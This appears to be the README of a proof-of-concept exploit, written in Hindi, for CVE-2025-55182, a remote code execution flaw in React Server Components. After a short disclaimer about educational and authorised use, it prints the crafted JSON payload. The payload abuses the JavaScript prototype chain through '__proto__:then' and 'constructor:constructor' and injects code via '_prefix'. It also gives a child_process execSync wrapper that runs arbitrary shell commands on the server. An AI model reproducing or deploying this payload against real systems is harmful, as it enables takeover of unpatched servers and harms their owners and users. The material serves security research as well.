CVE-2025-55182 - React Server Components RCE POC

यह POC केवल शैक्षिक और सुरक्षा अनुसंधान उद्देश्यों के लिए है। यह भेद्यता प्रभावित पैकेजों के नवीनतम संस्करणों में पैच की जा चुकी है। इस उपकरण का उपयोग केवल उन सिस्टमों पर करें जिनके आप मालिक हैं या जिनके परीक्षण की आपको स्पष्ट अनुमति है। मैं आपके विरुद्ध किसी भी कानूनी कार्रवाई के लिए उत्तरदायी नहीं हूँ।

पेलोड निर्माण

यह एक्सप्लॉइट एक विशेष रूप से तैयार किया गया JSON ऑब्जेक्ट बनाता है जो जावास्क्रिप्ट की प्रोटोटाइप श्रृंखला का दुरुपयोग करता है:

{
  "then": "$1:__proto__:then",           // प्रोटोटाइप श्रृंखला को दूषित करता है
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": jsCode,                    // इंजेक्ट किया गया दुर्भावनापूर्ण कोड
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}

कमांड रैपिंग

POC दो मोड का समर्थन करता है:

स्टैंडर्ड मोड (डिफ़ॉल्ट):

process.mainModule.require("child_process").execSync("YOUR_COMMAND");

शेल कमांड को Node.js के child_process के माध्यम से निष्पादन के लिए लपेटता है।